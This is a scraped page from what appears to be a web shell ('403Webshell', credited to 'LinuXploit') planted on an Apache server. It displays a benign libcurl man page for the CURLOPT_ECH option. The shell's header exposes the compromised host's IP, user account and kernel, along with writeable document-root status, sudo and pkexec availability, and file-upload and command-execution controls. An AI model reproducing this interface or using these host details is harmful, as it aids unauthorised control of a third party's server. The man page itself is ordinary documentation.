403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/man/man3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/man/man3/CURLOPT_ECH.3
.\" generated by cd2nroff 0.1 from CURLOPT_ECH.md
.TH CURLOPT_ECH 3 "2026-06-24" libcurl
.SH NAME
CURLOPT_ECH \- configuration for Encrypted Client Hello
.SH SYNOPSIS
.nf
#include <curl/curl.h>

CURLcode curl_easy_setopt(CURL *handle, CURLOPT_ECH, char *config);
.fi
.SH DESCRIPTION
This feature is \fBexperimental\fP and may change before it is considered
stable. We advise against using it in production.

ECH is only compatible with TLSv1.3.

Pass a string that specifies configuration details for ECH. In all cases, if
ECH is attempted, it may fail for various reasons. The keywords supported are:
.IP false
Turns off ECH.
.IP grease
Instructs client to emit a GREASE ECH extension. (The connection fails if ECH
is attempted but fails.)
.IP true
Instructs client to attempt ECH, if possible, but to not fail if attempting
ECH is not possible.
.IP hard
Instructs client to attempt ECH and fail if attempting ECH is not possible.
.IP ecl:\<base64-value\>
If the string starts with \fIecl:\fP then the remainder of the string should be a
base64\-encoded ECHConfigList that is used for ECH rather than attempting to
download such a value from the DNS.
.IP pn:\<name\>
If the string starts with \fIpn:\fP then the remainder of the string should be a
DNS/hostname that is used to over\-ride the public_name field of the
ECHConfigList that is used for ECH.
.PP
The application does not have to keep the string around after setting this
option.

Using this option multiple times makes the last set string override the
previous ones. Set it to NULL or "false" to disable its use again.
.SH DEFAULT
NULL, meaning ECH is disabled.
.SH PROTOCOLS
This functionality affects  all TLS based protocols: HTTPS, FTPS, IMAPS, POP3S, SMTPS etc. only

This option works only with the following TLS backends:
OpenSSL, Rustls and wolfSSL
.SH EXAMPLE
.nf
int main(void)
{
  CURL *curl = curl_easy_init();

  const char *config = \\
    "ecl:AED+DQA87wAgACB/RuzUCsW3uBbSFI7mzD63TUXpI8sGDTnFTbFCDpa+" \\
    "CAAEAAEAAQANY292ZXIuZGVmby5pZQAA";
  if(curl) {
    CURLcode result;
    curl_easy_setopt(curl, CURLOPT_ECH, config);
    result = curl_easy_perform(curl);
    curl_easy_cleanup(curl);
  }
}
.fi
.SH AVAILABILITY
Added in curl 8.8.0
.SH RETURN VALUE
\fIcurl_easy_setopt(3)\fP returns a CURLcode indicating success or error.

CURLE_OK (0) means everything was OK, non\-zero means an error occurred, see
\fIlibcurl\-errors(3)\fP.
.SH SEE ALSO
.BR CURLOPT_DOH_URL (3)

Youez - 2016 - github.com/yon3zu
LinuXploit